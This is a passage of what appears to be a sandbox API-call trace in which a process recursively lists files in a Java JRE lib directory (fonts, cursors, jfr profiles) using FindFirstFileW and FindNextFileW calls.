lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0216.542] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0216.542] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0216.543] GetProcessHeap () returned 0xc10000 [0216.543] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.543] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0216.543] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0216.543] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0216.543] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0216.544] GetProcessHeap () returned 0xc10000 [0216.544] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0216.551] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.551] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0216.551] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1 [0216.551] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1 [0216.552] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="LUCIDA~4.TTF")) returned 1 [0216.552] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="LU38C7~1.TTF")) returned 1 [0216.552] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="LU761B~1.TTF")) returned 1 [0216.552] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="LUE73B~1.TTF")) returned 1 [0216.552] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 1 [0216.552] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 0 [0216.552] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0216.553] GetProcessHeap () returned 0xc10000 [0216.553] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.553] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0216.553] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0216.553] GetProcessHeap () returned 0xc10000 [0216.553] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0216.554] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.554] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0216.554] GetProcessHeap () returned 0xc10000 [0216.554] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0216.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0216.557] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1 [0216.558] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 0 [0216.559] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0216.559] GetProcessHeap () returned 0xc10000 [0216.559] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0216.559] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 0 [0216.559] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0216.560] GetProcessHeap () returned 0xc10000 [0216.560] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.560] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0216.560] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0216.560] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0216.560] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0216.560] GetProcessHeap () returned 0xc10000 [0216.560] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0216.561] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.561] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0216.561] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0216.561] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: 